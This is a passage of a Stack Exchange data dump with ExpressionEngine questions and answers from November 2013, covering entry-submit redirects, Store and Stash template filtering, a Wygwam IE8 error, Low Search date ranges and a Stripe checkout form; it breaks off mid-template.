  <row Id="17230" PostTypeId="1" AcceptedAnswerId="17237" CreationDate="2013-11-28T13:04:27.860" Score="1" ViewCount="232" Body="&lt;p&gt;On several different installs I'm finding that when I finish editing an entry and hit &lt;strong&gt;Submit&lt;/strong&gt;, the submission &lt;strong&gt;sometimes&lt;/strong&gt; completely fails and I am redirected to the Control Panel home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to stress that in all cases I &lt;strong&gt;remain in a logged in state&lt;/strong&gt; so it seems to be a different issue than the OP was raising in the EllisLab forum thread at &lt;a href=&quot;http://ellislab.com/forums/viewthread/238571/#1060289&quot; rel=&quot;nofollow&quot;&gt;How to stop CP timeouts completely&lt;/a&gt; – although I note that some of the commenters in that thread are citing the same behaviour as I am describing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 3 different installs where this is happening, each with a different mix of add-ons from lots and lots to effectively none.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought it was to do with the security warning interjecting on a 2.6.1 install, but now that is updated and yet it's still happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And just now, it's happened to me while working on a &lt;strong&gt;local&lt;/strong&gt; 2.7.2 install in which the only add-on installed is Wygwam. But Wygwam is currently not being used on any fields, so the active number of add-ons on the entry that just failed to submit is zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, as I'm concluding that I probably don't need Wygwam at all on that install I shall disable it and see if this weirdness happens again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone else got this kind of thing going on? Because it's not good and it's understandably bugging my clients on the live installs.&lt;/p&gt;&#xA;" OwnerUserId="354" LastEditorUserId="354" LastEditDate="2013-11-28T13:25:22.713" LastActivityDate="2013-11-28T19:20:21.517" Title="Anyone experiencing intermittent Submit fail and redirect to CP dashboard/home? (ee 2.7.2)" Tags="|control-panel|error|database-error|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17231" PostTypeId="2" ParentId="17230" CreationDate="2013-11-28T13:11:59.853" Score="0" Body="&lt;p&gt;This happens to me on all my recent installs. Here is a thread that may help you. I just found this, and will be trying the couple things they recommend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/352/save-issue-submitting-entry-edits-redirects-to-control-panel-top&quot;&gt;Save issue: Submitting entry edits redirects to control panel top?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1669" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-28T13:11:59.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17233" PostTypeId="1" AcceptedAnswerId="17241" CreationDate="2013-11-28T16:21:10.950" Score="1" ViewCount="65" Body="&lt;p&gt;&lt;code&gt;{exp:store:search}&lt;/code&gt; doesn't appear to allow you to filter by &lt;code&gt;entry_id&lt;/code&gt; in the same way &lt;code&gt;{exp:channel:entries}&lt;/code&gt; does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've written a plugin that will return only entries that meet advanced category criteria which works great (it returns them as a piped string of entry_ids).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I need to pass that into &lt;code&gt;{exp:store:search}&lt;/code&gt; in order to take advantage of your order by price feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="96" LastEditorUserId="150" LastEditDate="2013-11-28T21:57:03.120" LastActivityDate="2013-11-28T21:57:03.120" Title="Filter by entry_id parameter in exp:store:search tag" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17234" PostTypeId="1" AcceptedAnswerId="17243" CreationDate="2013-11-28T16:23:22.250" Score="2" ViewCount="66" Body="&lt;p&gt;I am trying to filter a list by category, with each staff member listed beneath it. Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;offices&quot; entry_id=&quot;23&quot; dynamic=&quot;no&quot;}&#xA;{office_staff}&#xA;    {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; style=&quot;linear&quot; entry_count=&quot;yes&quot; parse=&quot;inward&quot;}&#xA;        {exp:stash:append_list name=&quot;city1_staff_{cat_id}&quot; save=&quot;yes&quot; scope=&quot;site&quot;}&#xA;            {stash:title}{title} - {cat_id}&amp;lt;br/&amp;gt;{/stash:title}&#xA;        {/exp:stash:append_list}&#xA;    {/exp:gwcode_categories}&#xA;{/office_staff}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:categories channel=&quot;staff&quot; style=&quot;linear&quot;}&#xA;&amp;lt;h2&amp;gt;{category_name} - {category_id}&amp;lt;/h2&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:stash:get_list name=&quot;city1_staff_{category_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&#xA;            &amp;lt;h3&amp;gt;{title}&amp;lt;/h3&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;&amp;lt;/ul&amp;gt;&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The categories are listing properly, and looking at mustash, it looks like the lists are being generated correctly, but for some reason the stash get_list isn't populating in the second code block. I am sure it is something simple, but its got me going in circles. Maybe someone has a clear view of it?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-11-29T03:21:34.773" Title="Filtering playa and stash by categories" Tags="|categories|stash|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17235" PostTypeId="1" CreationDate="2013-11-28T16:33:45.357" Score="1" ViewCount="144" Body="&lt;p&gt;We're having an odd issue with several sites we run on ExpressionEngine for clients using IE8 and 9 in the control panel. I've seen similar problems here on the forum but nothing that fits the bill here exactly (or solves the problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When an edit entry screen loads, the WygWam editor starts to load and then disappears leaving an empty space and a javascript error. Screengrab attached. I've managed to replicate the problem in Browserstack, so i'm fairly confident it's not an issue with the end user's machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;'name' is null or not an object&#xA;ckeditor.js line 804&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling IE compatability mode doesn't seem to help either. It seems to be working ok on one site which is running v 2.3.4.1 but fails on two other sites running 3.1.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how we might fix this? As having the client ring me and make the changes myself every time is very quickly going to wear thin!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Cqm3k.png&quot; alt=&quot;screengrab of error&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2105" LastActivityDate="2013-12-03T23:13:21.937" Title="Wygwam - IE8 issue - editor doesn't load and throws javascript error" Tags="|wygwam|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17236" PostTypeId="2" ParentId="17201" CreationDate="2013-11-28T19:01:44.453" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/wygwam-super-admin-source&quot; rel=&quot;nofollow&quot;&gt;Wygwam Super Admin Source&lt;/a&gt; does exactly what you need.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-11-28T19:01:44.453" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17237" PostTypeId="2" ParentId="17230" CreationDate="2013-11-28T19:20:21.517" Score="3" Body="&lt;p&gt;It's an XID issue/bug that is known to EL and slated to be corrected in the next release. A fix until then is posted:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19920#12050&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19920#12050&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-11-28T19:20:21.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17238" PostTypeId="2" ParentId="352" CreationDate="2013-11-28T19:22:54.307" Score="0" Body="&lt;p&gt;It's an XID issue/bug that is known to EL and slated to be corrected in the next release. A fix until then is posted:&#xA;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19920#12050&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19920#12050&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-11-28T19:22:54.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17240" PostTypeId="2" ParentId="17216" CreationDate="2013-11-28T21:19:48.380" Score="1" Body="&lt;p&gt;If you're looping channel entries you could add a second loop to grab the &quot;On&quot; entries...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- first loop to display entries --}&#xA;{exp:channel:entries channel=&quot;mychannel&quot;}&#xA;  {title}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- second loop to grab 'on' entries --}&#xA;{exp:channel:entries channel=&quot;mychannel&quot; search:your_switch_field=&quot;ON&quot;}&#xA;  {if count == total_results}&#xA;    {total_results}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1029" LastActivityDate="2013-11-28T21:19:48.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17241" PostTypeId="2" ParentId="17233" CreationDate="2013-11-28T21:55:18.597" Score="1" Body="&lt;p&gt;The Store search tag is actually a wrapper for channel entries, and does exactly that - it generates a list of entry IDs and passes them through, which is why it can't accept a list of entry IDs itself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suggest you do instead of using the a Store search tag is simply order them yourself in your SQL statement. All you need to do is add&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JOIN exp_store_products on exp_store_products.entry_id = exp_channel_entries.entry_id&#xA;ORDER BY exp_store_products.price ASC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then pass them into the channel entries tag using the fixed_order=&quot;1|2|3&quot; parameter (instead of entry_id=&quot;&quot;). It works exactly the same but will preserve the order of entry IDs you pass in.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-28T21:55:18.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17243" PostTypeId="2" ParentId="17234" CreationDate="2013-11-29T03:21:34.773" Score="2" Body="&lt;p&gt;Top of my head, its a parse order thing.&#xA;Try wrapping your exp:categories tag with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:parse process='end'}{exp:categories}...{/exp;categories}{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-29T03:21:34.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17244" PostTypeId="2" ParentId="17222" CreationDate="2013-11-29T04:44:41.920" Score="1" Body="&lt;p&gt;Sounds like a perfect user case for krea elements: &lt;a href=&quot;http://devot-ee.com/add-ons/content-elements&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/content-elements&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could have a 'script' field as a separate entity and arrange it before/after any other fields required.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-11-29T04:44:41.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17245" PostTypeId="1" CreationDate="2013-11-29T06:19:38.937" Score="1" ViewCount="35" Body="&lt;p&gt;I recently upgraded from Low Search 2.3.1 to 3.0.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have these 2 selects in my &lt;code&gt;{exp:low_search:form}&lt;/code&gt; to search for a range of &lt;code&gt;birthdate&lt;/code&gt;, a field with a fieldtype of EE's native &lt;code&gt;Date&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;range-to:birthdate&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1995-11-29&quot;&amp;gt;18&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1994-11-29&quot;&amp;gt;19&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option selected=&quot;selected&quot; value=&quot;1993-11-29&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;    ....&#xA;    &amp;lt;option value=&quot;1963-11-29&quot;&amp;gt;50&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;range-from:birthdate&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;1994-11-30&quot;&amp;gt;18&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1993-11-30&quot;&amp;gt;19&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1992-11-30&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;    ....&#xA;    &amp;lt;option selected=&quot;selected&quot; value=&quot;1987-11-30&quot;&amp;gt;25&amp;lt;/option&amp;gt;&#xA;    ....&#xA;    &amp;lt;option value=&quot;1800-01-01&quot;&amp;gt;51+&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I tested the filter in the old version, this was filtering results properly. But now it doesn't seem to filter since I still get all results no matter the option I choose in the selects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something that I need to do in the Low Search Update to make this work? I have completely rebuilt the indexes after update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MORE INFO&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked this &lt;a href=&quot;https://getsatisfaction.com/low/topics/low_search_date_range_problems&quot; rel=&quot;nofollow&quot;&gt;question&lt;/a&gt; before. It solved the problem for me. Nothing has been changed in the implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my &lt;code&gt;low_search_pre_search&lt;/code&gt; hook handler function, the code convert the dates to be of format &lt;code&gt;YYYY-MM-DD HH:MM AM/PM&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick test indicated that it was outputting values in the correct format, &lt;code&gt;1993-11-29 11:59 PM&lt;/code&gt;, &lt;code&gt;1987-11-30 12:00 AM&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So safe to say that this is not the cause of the problem?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-11-29T07:39:16.353" LastActivityDate="2013-11-29T07:39:16.353" Title="Low Search - Upgrade from 2.3.1 to 3.0.1 caused a field search to stop functioning properly" Tags="|low-search|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17246" PostTypeId="1" AcceptedAnswerId="17268" CreationDate="2013-11-29T08:55:59.900" Score="3" ViewCount="633" Body="&lt;p&gt;We've followed the tutorial (&lt;a href=&quot;https://exp-resso.com/docs/payment_gateways.html#stripe&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/payment_gateways.html#stripe&lt;/a&gt;) and everything looks correct however when we test the system we get the following error: &quot;The number parameter is required&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's our code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    form_class=&quot;form-horizontal&quot;&#xA;    return=&quot;account/order/ORDER_HASH&quot;&#xA;    payment_method=&quot;stripe&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    error_delimiters='&amp;lt;span class=&quot;help-inline&quot;&amp;gt;|&amp;lt;/span&amp;gt;'}&#xA;&#xA;    {if no_items}&#xA;        {redirect=&quot;basket/index&quot;}&#xA;    {/if}&#xA;&#xA;&amp;lt;div class=&quot;container content&quot;&amp;gt;&#xA;&#xA;  &amp;lt;header&amp;gt;&#xA;    &amp;lt;div class=&quot;progress progress-info progress-striped&quot;&amp;gt;&amp;lt;div class=&quot;bar&quot; style=&quot;width:90%&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Confirm Order&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;/header&amp;gt;&#xA;&#xA;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;&#xA;      $(function() {&#xA;          $.getScript('https://js.stripe.com/v2/', function() {&#xA;              Stripe.setPublishableKey('pk_test_1G3rLmcUygjAVG3uAg6WWBaS');&#xA;          });&#xA;&#xA;          /* Ensure your checkout submit button has id=&quot;checkout_submit&quot; */&#xA;          $checkout_submit = $(&quot;#checkout_submit&quot;).click(function() {&#xA;&#xA;              /* Only handle requests for Stripe gateway */&#xA;              if (this.form.elements[&quot;payment_method&quot;].value == &quot;stripe&quot;) {&#xA;&#xA;                  /* Temporarily disable the checkout submit button */&#xA;                  $checkout_submit.attr('disabled', true);&#xA;&#xA;                  /* Create a Stripe card token */&#xA;                  Stripe.card.createToken($(this.form), stripeResponseHandler);&#xA;&#xA;                  /* We don't want to submit the form yet */&#xA;                  return false;&#xA;              }&#xA;          });&#xA;&#xA;          /* This function is triggered once Stripe has generated the token */&#xA;          function stripeResponseHandler(status, response) {&#xA;              /* Re-enable the checkout submit button */&#xA;              $checkout_submit.attr('disabled', false);&#xA;&#xA;              /* Check whether we have a valid credit card */&#xA;              if (response.error) {&#xA;                  alert(response.error.message);&#xA;              } else {&#xA;                  /* Set the card token and submit the checkout form */&#xA;                  $(&quot;#payment_token&quot;).val(response.id);&#xA;                  $checkout_submit.off(&quot;click&quot;).click();&#xA;              }&#xA;          }&#xA;      });&#xA;&#xA;    &amp;lt;/script&amp;gt;&#xA;&#xA;&#xA;    &amp;lt;div class=&quot;primary-col&quot;&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;      &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Billing Details&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{billing_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_address1}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_address2}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_address3} {billing_postcode}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_region_name}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_country_name}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{billing_phone}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{order_email}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;col&quot;&amp;gt;&#xA;      &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Shipping Details&amp;lt;/legend&amp;gt;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          {if shipping_same_as_billing}&#xA;          Same as Billing Details&#xA;          {if:else}&#xA;          &amp;lt;div&amp;gt;&amp;lt;b&amp;gt;{shipping_name}&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_address1}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_address2}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_address3} {shipping_postcode}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_region_name}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_country_name}&amp;lt;/div&amp;gt;&#xA;          &amp;lt;div&amp;gt;{shipping_phone}&amp;lt;/div&amp;gt;&#xA;          {/if}&#xA;          {if shipping_country_name ==&quot;United Kingdom&quot;}&#xA;          {if:else}&#xA;          &amp;lt;div class=&quot;confirmnote&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;Overseas Delivery cost is calculated after your order is placed based on your order value, weight and location.&amp;lt;/p&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;          {/if}&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;full-col&quot;&amp;gt;&#xA;     &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;legend&amp;gt;Payment&amp;lt;/legend&amp;gt;&#xA;&#xA;        {if error:payment_method}&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;div class=&quot;alert alert-error&quot;&amp;gt;{error:payment_method}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_card_no&quot;&amp;gt;Card No&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;number&quot; /&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_name&quot;&amp;gt;Name&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; value=&quot;&quot; data-stripe=&quot;name&quot; /&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_exp_month&quot;&amp;gt;Expiry&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;select data-stripe=&quot;exp-month&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                {exp_month_options}&#xA;            &amp;lt;/select&amp;gt;&#xA;            &amp;lt;select data-stripe=&quot;exp-year&quot;&amp;gt;&#xA;                &amp;lt;option value=&quot;&quot;&amp;gt;&amp;lt;/option&amp;gt;&#xA;                {exp_year_options}&#xA;            &amp;lt;/select&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;          &amp;lt;label class=&quot;control-label&quot; for=&quot;payment_csc&quot;&amp;gt;CSC&amp;lt;/label&amp;gt;&#xA;          &amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;            &amp;lt;input type=&quot;text&quot; size=&quot;4&quot; value=&quot;&quot; data-stripe=&quot;cvc&quot; /&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;      &amp;lt;/fieldset&amp;gt;&#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- primary-col --&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;secondary-col&quot;&amp;gt;&#xA;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;      &amp;lt;legend&amp;gt;Order Summary&amp;lt;/legend&amp;gt;&#xA;&#xA;      &amp;lt;table class=&quot;table table-condensed&quot;&amp;gt;&#xA;        &amp;lt;thead&amp;gt;&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th style=&quot;width:60%&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/thead&amp;gt;&#xA;        &amp;lt;tbody&amp;gt;&#xA;          {items}&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{item_qty} &amp;amp;times; {title}&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          {/items}&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Subtotal&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_subtotal}&amp;lt;/th&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          {if shipping_method_id}&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;Shipping ({shipping_method})&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_shipping}&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          {/if}&#xA;          {if order_tax_val}&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;{tax_name} ({tax_percent}%)&amp;lt;/td&amp;gt;&#xA;            &amp;lt;td style=&quot;text-align:right&quot;&amp;gt;{order_tax}&amp;lt;/td&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;          {/if}&#xA;          &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th&amp;gt;Total&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th style=&quot;text-align:right&quot;&amp;gt;{order_total}&amp;lt;/th&amp;gt;&#xA;          &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;/tbody&amp;gt;&#xA;      &amp;lt;/table&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;  &amp;lt;/div&amp;gt; &amp;lt;!-- /secondary-col --&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;form-actions&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='basket/checkout'}&quot; class=&quot;btn&quot;&amp;gt;Back&amp;lt;/a&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; id=&quot;payment_token&quot; name=&quot;payment[token]&quot; value=&quot;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;payment_method&quot; value=&quot;stripe&quot;&amp;gt;&#xA;        &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Confirm Order &amp;amp;amp; Pay&quot; id=&quot;checkout_submit&quot; class=&quot;btn btn-success&quot; /&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas/suggestions would be most appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1014" LastActivityDate="2013-11-29T22:48:10.757" Title="Expresso Store - Stripe - &quot;The number parameter is required&quot;" Tags="|expresso-store|stripe|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17247" PostTypeId="2" ParentId="17163" CreationDate="2013-11-29T09:24:00.533" Score="0" Body="&lt;p&gt;Changed approach on this slightly. What I wanted to happen was that for an odd count the  first row would have two columns, second row would have three and then keep going like that so that I don't end up with a single product on its own at the bottom. By using a combination of switchee and count this is the code i'm using that gives me the result I need.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:playa:children field=&quot;office_products&quot;}&#xA;            {exp:switchee variable=&quot;{total_results}&quot; parse=&quot;inward&quot;}&#xA;                {case value=&quot;1|3|5|7|9|11|13|15&quot;}&#xA;                &amp;lt;div class=&quot;product odd{count}&quot;&amp;gt;&#xA;                {/case}&#xA;                {case value=&quot;2|4|6|8|10|12|14&quot;}&#xA;                &amp;lt;div class=&quot;product even&quot;&amp;gt;&#xA;                {/case}&#xA;            {/exp:switchee}&#xA;                &amp;lt;div class=&quot;insurance_type&quot;&amp;gt;&#xA;&#xA;                    {exp:switchee variable=&quot;{segment_3}&quot; parse=&quot;inward&quot;}&#xA;                        {case value=&quot;&quot;}&#xA;                            &amp;lt;a href=&quot;{site_url}offices/{segment_2}/services/{url_title}&quot;&amp;gt;&#xA;                                &amp;lt;div class=&quot;product_image&quot;&amp;gt;&#xA;&#xA;                                    {exp:ce_img:pair src=&quot;{product_logo}&quot;}&#xA;                                            &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;                                    {/exp:ce_img:pair}&#xA;                                &amp;lt;/div&amp;gt;&#xA;                                &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;                            &amp;lt;/a&amp;gt;&#xA;                            {exp:ce_str:ing truncate=&quot;88&quot;}&amp;lt;h3&amp;gt;{product_short_intro}&amp;lt;/h3&amp;gt;{/exp:ce_str:ing}&#xA;                            &amp;lt;a href=&quot;#&quot; data-reveal-id=&quot;myModal_{url_title}&quot; class=&quot;button&quot;&amp;gt;Get A 